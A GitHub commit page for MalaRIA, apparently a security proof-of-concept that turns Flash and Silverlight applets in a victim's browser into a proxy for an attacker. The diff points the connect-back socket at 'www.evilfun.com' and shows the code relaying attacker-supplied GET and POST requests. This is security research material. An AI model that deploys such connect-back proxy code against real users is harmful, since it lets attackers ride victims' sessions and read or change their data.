Permalink
Browse files

Disabling accept header, because it sometimes doesn't work

  • Loading branch information...
1 parent 503d85e commit ee25f80c2bd4773abc7db2975309516650e41065 Erlend Oftedal committed May 12, 2010
Showing with 12 additions and 5 deletions.
  1. +2 −2 flex/malariaproxy.mxml
  2. +10 −3 silverlight/SilverlightMalaRIA/MainPage.xaml.cs
View
4 flex/malariaproxy.mxml 100644 → 100755
@@ -21,7 +21,7 @@ xmlns="*" creationComplete="useHttpService()">
ExternalInterface.call("log", "Connecting back to malaria server...");
socket.addEventListener(Event.CONNECT, this.connectHandler);
socket.addEventListener(ProgressEvent.SOCKET_DATA, this.onData);
- socket.connect("localhost", 8081);
+ socket.connect("www.evilfun.com", 8081);
}
private function onData(event:ProgressEvent):void
{
@@ -49,7 +49,7 @@ xmlns="*" creationComplete="useHttpService()">
if (reqData != null && reqData != "") {
urlRequest.data = new URLVariables(reqData);
}
- urlRequest.requestHeaders.push(new URLRequestHeader("Accept", accept));
+ //urlRequest.requestHeaders.push(new URLRequestHeader("Accept", accept));
var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE, onComplete);
@@ -15,7 +15,7 @@ public partial class MainPage : UserControl
{
//Config
private const int Port = 4502;
- private const string Hostname = "localhost";
+ private const string Hostname = "www.evilfun.com";
private readonly Socket _socket;
@@ -70,14 +70,15 @@ public void OnReceive(object o, SocketAsyncEventArgs e)
{
try
{
- Log("Trying: [" + match.Groups[2].Value + "]");
var client = new WebClient();
if (match.Groups[1].Value == "GET")
{
+ Log("Trying: [" + match.Groups[1].Value + " " + match.Groups[2].Value + "]");
client.OpenReadCompleted += OnGetCompleted;
client.OpenReadAsync(new Uri(match.Groups[2].Value));
} else
{
+ Log("Trying: [" + match.Groups[1].Value + " " + match.Groups[2].Value + "] data [" + match.Groups[5].Value + "]");
client.UploadStringCompleted += OnPostCompleted;
client.UploadStringAsync(new Uri(match.Groups[2].Value), "POST", match.Groups[5].Value);
}
@@ -90,7 +91,13 @@ public void OnReceive(object o, SocketAsyncEventArgs e)
else
{
Log("Don't understand : {" + message + "}");
- HandleIncomingTraffic();
+ if (_socket.Connected)
+ {
+ HandleIncomingTraffic();
+ } else
+ {
+ Log("Socket closed");
+ }
}
}

0 comments on commit ee25f80

Please sign in to comment.